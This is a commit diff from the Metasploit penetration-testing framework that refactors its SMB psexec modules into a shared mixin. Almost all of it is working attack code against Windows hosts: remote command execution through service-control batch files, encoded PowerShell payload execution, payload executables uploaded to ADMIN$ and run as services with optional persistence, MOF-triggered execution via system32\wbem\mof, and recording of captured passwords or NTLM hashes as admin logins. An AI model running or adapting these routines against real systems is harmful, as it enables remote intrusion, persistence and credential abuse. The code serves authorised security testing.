Land #9881, cleanup psexec code

This commit is contained in:
Jeffrey Martin 2018-04-30 18:39:36 -05:00
commit 28173222a8
No known key found for this signature in database
GPG Key ID: 0CD9BBC2AF15F171
5 changed files with 273 additions and 571 deletions

View File

@ -2,6 +2,8 @@
require 'rex/proto/dcerpc/svcctl'
require 'windows_error'
require 'windows_error/win32'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/wbemexec'
include WindowsError::Win32
@ -20,6 +22,7 @@ module Exploit::Remote::SMB::Client::Psexec
include Msf::Exploit::Windows_Constants
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Failure
def initialize(info = {})
super
@ -193,6 +196,246 @@ module Exploit::Remote::SMB::Client::Psexec
true
end
end
def powershell_installed?(smb_share, psh_path)
share = "\\\\#{datastore['RHOST']}\\#{smb_share}"
case smb_share.upcase
when 'ADMIN$'
path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
when 'C$'
path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
else
path = psh_path
end
simple.connect(share)
vprint_status("Checking for #{path}")
if smb_file_exist?(path)
vprint_status('PowerShell found')
psh = true
else
vprint_status('PowerShell not found')
psh = false
end
simple.disconnect(share)
psh
end
def execute_command(text, bat, cmd)
# Try and execute the provided command
execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
vprint_status("Executing the command...")
begin
return psexec(execute)
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
print_error("Unable to execute specified command: #{e}")
return false
end
end
def execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay, rt)
res = execute_command(text, bat, cmd)
if res
for i in 0..(rt)
Rex.sleep(delay)
# if the output file is still locked then the program is still likely running
if (exclusive_access(text, smb_share, r_ip))
break
elsif (i == rt)
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
end
end
output = get_output(text, smb_share, r_ip)
end
cleanup_after(bat, smb_share, r_ip)
output
end
def execute_powershell_payload
ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
end
# Execute the powershell command
print_status("Executing the payload...")
begin
psexec(command)
rescue StandardError => exec_command_error
fail_with(Msf::Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
end
end
def native_upload(smb_share)
filename = "#{rand_text_alpha(8)}.exe"
serviceencoder = ''
# Upload the shellcode to a file
print_status("Uploading payload...")
smbshare = smb_share
fileprefix = ""
# if SHARE = Users/sasha/ or something like this
if smbshare =~ /.[\\\/]/
subfolder = true
smbshare = smb_share.dup
smbshare = smbshare.gsub(/^[\\\/]/,"")
folder_list = smbshare.split(/[\\\/]/)
smbshare = folder_list[0]
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
else
subfolder = false
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{filename}", 'rwct')
end
exe = ''
opts = { :servicename => service_name, :serviceencoder => serviceencoder}
begin
exe = generate_payload_exe_service(opts)
fd << exe
ensure
fd.close
end
if subfolder
print_status("Created \\#{fileprefix}\\#{filename}...")
else
print_status("Created \\#{filename}...")
end
# Disconnect from the share
simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")
# define the file location
if smb_share == 'ADMIN$'
file_location = "%SYSTEMROOT%\\#{filename}"
elsif smb_share =~ /^[a-zA-Z]\$$/
file_location = smb_share.slice(0,1) + ":\\#{filename}"
else
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
end
psexec(file_location, false)
unless datastore['SERVICE_PERSIST']
print_status("Deleting \\#{filename}...")
#This is not really useful but will prevent double \\ on the wire :)
if smb_share =~ /.[\\\/]/
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin
simple.delete("\\#{fileprefix}\\#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
end
else
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin
simple.delete("\\#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{filename} failed: #{e.message}")
end
end
end
end
def mof_upload(smb_share)
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
filename = "#{rand_text_alpha(8)}.exe"
# payload as exe
print_status("Trying wbemexec...")
print_status("Uploading Payload...")
if smb_share != 'ADMIN$'
print_error('Wbem will only work with ADMIN$ share')
return
end
simple.connect(share)
exe = generate_payload_exe
fd = smb_open("\\system32\\#{filename}", 'rwct')
fd << exe
fd.close
print_status("Created %SystemRoot%\\system32\\#{filename}")
# mof to cause execution of above
mofname = rand_text_alphanumeric(14) + ".MOF"
mof = generate_mof(mofname, filename)
print_status("Uploading MOF...")
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
fd << mof
fd.close
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
# Disconnect from the ADMIN$
simple.disconnect(share)
end
private
# Retrive output from command
def get_output(file, smb_share, r_ip)
print_status("Getting the command output...")
output = smb_read_file(smb_share, r_ip, file)
if output.nil?
print_error("Error getting command output. #{$!.class}. #{$!}.")
return
end
if output.empty?
print_status("Command finished with no output")
return
end
output
end
# check if our process is done using these files
def exclusive_access(*files, smb_share, r_ip)
begin
simple.connect("\\\\#{r_ip}\\#{smb_share}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_status("Unable to get handle: #{accesserror}")
return false
end
files.each do |file|
begin
print_status("checking if the file is unlocked")
fd = smb_open(file, 'rwo')
fd.close
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_status("Unable to get handle: #{accesserror}")
return false
end
simple.disconnect("\\\\#{r_ip}\\#{smb_share}")
end
return true
end
def cleanup_after(*files, smb_share, r_ip)
begin
simple.connect("\\\\#{r_ip}\\#{smb_share}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", "
)} from the target.")
return
end
print_status("Executing cleanup...")
files.each do |file|
begin
smb_file_rm(file)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
end
end
left = files.collect{ |f| smb_file_exist?(f) }
if left.any?
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
else
print_good("Cleanup was successful")
end
end
end
end

View File

@ -5,6 +5,7 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
include Msf::Exploit::Remote::SMB::Client::Psexec
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
@ -92,119 +93,18 @@ class MetasploitModule < Msf::Auxiliary
@ip = ip
# Try and authenticate with given credentials
res = execute_command(text, bat)
if res
for i in 0..(datastore['RETRY'])
Rex.sleep(datastore['DELAY'])
# if the output file is still locked then the program is still likely running
if (exclusive_access(text))
break
elsif (i == datastore['RETRY'])
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
end
end
get_output(text)
end
cleanup_after(text, bat)
end
#
# TODO: the rest shamelessly copypasta from auxiliary/admin/smb/psexec_command
# it should probably be mixin'd. I have changed some of vprint/print tho
# => zerosum0x0
#
# Executes specified Windows Command
def execute_command(text, bat)
# Try and execute the provided command
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
vprint_status("Executing the command...")
begin
return psexec(execute)
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
print_error("Unable to execute specified command: #{e}")
return false
end
end
# Retrive output from command
def get_output(file)
vprint_status("Getting the command output...")
output = smb_read_file(@smbshare, @ip, file)
if output.nil?
print_error("Error getting command output. #{$!.class}. #{$!}.")
return
end
if output.empty?
print_status("Command finished with no output")
return
end
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY'])
# Report output
vprint_good("Command completed successfuly!")
# zerosum0x0: this is better with Verbose off in this case
print_status("Output for \"#{datastore['COMMAND']}\":")
print_line("#{output}")
print_good("Command completed successfuly!")
print_status("Output for \"#{datastore['COMMAND']}\":\n")
print_line("#{output}\n")
report_note(
:rhost => datastore['RHOSTS'],
:rport => datastore['RPORT'],
:type => "psexec_command",
:type => "psexec_command",
:name => datastore['COMMAND'],
:data => output
)
end
# check if our process is done using these files
def exclusive_access(*files)
begin
simple.connect("\\\\#{@ip}\\#{@smbshare}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_error("Unable to get handle: #{accesserror}")
return false
end
files.each do |file|
begin
vprint_status("checking if the file is unlocked")
fd = smb_open(file, 'rwo')
fd.close
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_error("Unable to get handle: #{accesserror}")
return false
end
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
end
return true
end
# Removes files created during execution.
def cleanup_after(*files)
begin
simple.connect("\\\\#{@ip}\\#{@smbshare}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.")
return
end
vprint_status("Executing cleanup...")
files.each do |file|
begin
smb_file_rm(file)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
end
end
left = files.collect{ |f| smb_file_exist?(f) }
if left.any?
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
else
print_good("Cleanup was successful")
end
end
end

View File

@ -69,112 +69,22 @@ class MetasploitModule < Msf::Auxiliary
print_error("Unable to authenticate with given credentials: #{autherror}")
return
end
res = execute_command(text, bat)
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY'])
if res
for i in 0..(datastore['RETRY'])
Rex.sleep(datastore['DELAY'])
# if the output file is still locked then the program is still likely running
if (exclusive_access(text))
break
elsif (i == datastore['RETRY'])
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
end
end
get_output(text)
unless output.nil?
print_good("Command completed successfuly!")
print_status("Output for \"#{datastore['COMMAND']}\":\n")
print_line("#{output}\n")
report_note(
:rhost => datastore['RHOSTS'],
:rport => datastore['RPORT'],
:type => "psexec_command",
:name => datastore['COMMAND'],
:data => output
)
end
cleanup_after(text, bat)
disconnect
end
end
# Executes specified Windows Command
def execute_command(text, bat)
# Try and execute the provided command
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
print_status("Executing the command...")
begin
return psexec(execute)
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
print_error("Unable to execute specified command: #{e}")
return false
end
end
# Retrive output from command
def get_output(file)
print_status("Getting the command output...")
output = smb_read_file(@smbshare, @ip, file)
if output.nil?
print_error("Error getting command output. #{$!.class}. #{$!}.")
return
end
if output.empty?
print_status("Command finished with no output")
return
end
# Report output
print_good("Command completed successfuly!")
vprint_status("Output for \"#{datastore['COMMAND']}\":")
vprint_line("#{output}")
report_note(
:rhost => datastore['RHOSTS'],
:rport => datastore['RPORT'],
:type => "psexec_command",
:name => datastore['COMMAND'],
:data => output
)
end
# check if our process is done using these files
def exclusive_access(*files)
begin
simple.connect("\\\\#{@ip}\\#{@smbshare}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_status("Unable to get handle: #{accesserror}")
return false
end
files.each do |file|
begin
print_status("checking if the file is unlocked")
fd = smb_open(file, 'rwo')
fd.close
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_status("Unable to get handle: #{accesserror}")
return false
end
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
end
return true
end
# Removes files created during execution.
def cleanup_after(*files)
begin
simple.connect("\\\\#{@ip}\\#{@smbshare}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.")
return
end
print_status("Executing cleanup...")
files.each do |file|
begin
smb_file_rm(file)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
end
end
left = files.collect{ |f| smb_file_exist?(f) }
if left.any?
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
else
print_good("Cleanup was successful")
end
end
end

View File

@ -17,6 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
include Msf::Exploit::Remote::SMB::Client::Psexec
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
@ -119,221 +120,21 @@ class MetasploitModule < Msf::Exploit::Remote
def smb_pwn()
case target.name
when 'Automatic'
if powershell_installed?
if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH'])
print_status('Selecting PowerShell target')
powershell
execute_powershell_payload
else
print_status('Selecting native target')
native_upload
native_upload(datastore['SHARE'])
end
when 'PowerShell'
powershell
execute_powershell_payload
when 'Native upload'
native_upload
when 'MOF upload'
mof_upload
mof_upload(datastore['SHARE'])
end
handler
end
# TODO: Again, shamelessly copypasta from the psexec exploit module. Needs to
# be moved into a mixin
def powershell_installed?
share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}"
case datastore['SHARE'].upcase
when 'ADMIN$'
path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
when 'C$'
path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
else
path = datastore['PSH_PATH']
end
simple.connect(share)
vprint_status("Checking for #{path}")
if smb_file_exist?(path)
vprint_status('PowerShell found')
psh = true
else
vprint_status('PowerShell not found')
psh = false
end
simple.disconnect(share)
psh
end
def powershell
ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
end
# Execute the powershell command
print_status("Executing the payload...")
begin
psexec(command)
rescue StandardError => exec_command_error
fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
end
end
def native_upload
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''
# Upload the shellcode to a file
print_status("Uploading payload...")
smbshare = datastore['SHARE']
fileprefix = ""
# if SHARE = Users/sasha/ or something like this
if smbshare =~ /.[\\\/]/
subfolder = true
smbshare = datastore['SHARE'].dup
smbshare = smbshare.gsub(/^[\\\/]/,"")
folder_list = smbshare.split(/[\\\/]/)
smbshare = folder_list[0]
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
else
subfolder = false
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{filename}", 'rwct')
end
exe = ''
opts = { :servicename => servicename, :serviceencoder => serviceencoder}
begin
exe = generate_payload_exe_service(opts)
fd << exe
ensure
fd.close
end
if subfolder
print_status("Created \\#{fileprefix}\\#{filename}...")
else
print_status("Created \\#{filename}...")
end
# Disconnect from the share
simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")
# define the file location
if datastore['SHARE'] == 'ADMIN$'
file_location = "%SYSTEMROOT%\\#{filename}"
elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
else
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
end
psexec(file_location, false)
unless datastore['SERVICE_PERSIST']
print_status("Deleting \\#{filename}...")
#This is not really useful but will prevent double \\ on the wire :)
if datastore['SHARE'] =~ /.[\\\/]/
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin
simple.delete("\\#{fileprefix}\\#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
end
else
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin
simple.delete("\\#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{filename} failed: #{e.message}")
end
end
end
end
def mof_upload
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
# payload as exe
print_status("Trying wbemexec...")
print_status("Uploading Payload...")
if datastore['SHARE'] != 'ADMIN$'
print_error('Wbem will only work with ADMIN$ share')
return
end
simple.connect(share)
exe = generate_payload_exe
fd = smb_open("\\system32\\#{filename}", 'rwct')
fd << exe
fd.close
print_status("Created %SystemRoot%\\system32\\#{filename}")
# mof to cause execution of above
mofname = rand_text_alphanumeric(14) + ".MOF"
mof = generate_mof(mofname, filename)
print_status("Uploading MOF...")
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
fd << mof
fd.close
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
# Disconnect from the ADMIN$
simple.disconnect(share)
end
def report_auth
service_data = {
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
port: datastore['RPORT'],
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_data: datastore['SMBPass'],
username: datastore['SMBUser'].downcase
}
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
credential_data.merge!({
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: datastore['SMBDomain']
})
end
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
credential_data.merge!({:private_type => :ntlm_hash})
else
credential_data.merge!({:private_type => :password})
end
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
access_level: 'Admin',
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end

View File

@ -112,177 +112,25 @@ class MetasploitModule < Msf::Exploit::Remote
case target.name
when 'Automatic'
if powershell_installed?
if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH'])
print_status('Selecting PowerShell target')
powershell
execute_powershell_payload
else
print_status('Selecting native target')
native_upload
native_upload(datastore['SHARE'])
end
when 'PowerShell'
powershell
execute_powershell_payload
when 'Native upload'
native_upload
when 'MOF upload'
mof_upload
mof_upload(datastore['SHARE'])
end
handler
disconnect
end
def powershell_installed?
share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}"
case datastore['SHARE'].upcase
when 'ADMIN$'
path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
when 'C$'
path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
else
path = datastore['PSH_PATH']
end
simple.connect(share)
vprint_status("Checking for #{path}")
if smb_file_exist?(path)
vprint_status('PowerShell found')
psh = true
else
vprint_status('PowerShell not found')
psh = false
end
simple.disconnect(share)
psh
end
def powershell
ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
end
# Execute the powershell command
print_status("Executing the payload...")
begin
psexec(command)
rescue StandardError => exec_command_error
fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
end
end
def native_upload
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''
# Upload the shellcode to a file
print_status("Uploading payload...")
smbshare = datastore['SHARE']
fileprefix = ""
# if SHARE = Users/sasha/ or something like this
if smbshare =~ /.[\\\/]/
subfolder = true
smbshare = datastore['SHARE'].dup
smbshare = smbshare.gsub(/^[\\\/]/,"")
folder_list = smbshare.split(/[\\\/]/)
smbshare = folder_list[0]
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
else
subfolder = false
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{filename}", 'rwct')
end
exe = ''
opts = { :servicename => servicename, :serviceencoder => serviceencoder}
begin
exe = generate_payload_exe_service(opts)
fd << exe
ensure
fd.close
end
if subfolder
print_status("Created \\#{fileprefix}\\#{filename}...")
else
print_status("Created \\#{filename}...")
end
# Disconnect from the share
simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")
# define the file location
if datastore['SHARE'] == 'ADMIN$'
file_location = "%SYSTEMROOT%\\#{filename}"
elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
else
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
end
psexec(file_location, false)
unless datastore['SERVICE_PERSIST']
print_status("Deleting \\#{filename}...")
#This is not really useful but will prevent double \\ on the wire :)
if datastore['SHARE'] =~ /.[\\\/]/
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin
simple.delete("\\#{fileprefix}\\#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
end
else
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin
simple.delete("\\#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{filename} failed: #{e.message}")
end
end
end
end
def mof_upload
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
# payload as exe
print_status("Trying wbemexec...")
print_status("Uploading Payload...")
if datastore['SHARE'] != 'ADMIN$'
print_error('Wbem will only work with ADMIN$ share')
return
end
simple.connect(share)
exe = generate_payload_exe
fd = smb_open("\\system32\\#{filename}", 'rwct')
fd << exe
fd.close
print_status("Created %SystemRoot%\\system32\\#{filename}")
# mof to cause execution of above
mofname = rand_text_alphanumeric(14) + ".MOF"
mof = generate_mof(mofname, filename)
print_status("Uploading MOF...")
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
fd << mof
fd.close
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
# Disconnect from the ADMIN$
simple.disconnect(share)
end
def report_auth
service_data = {
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),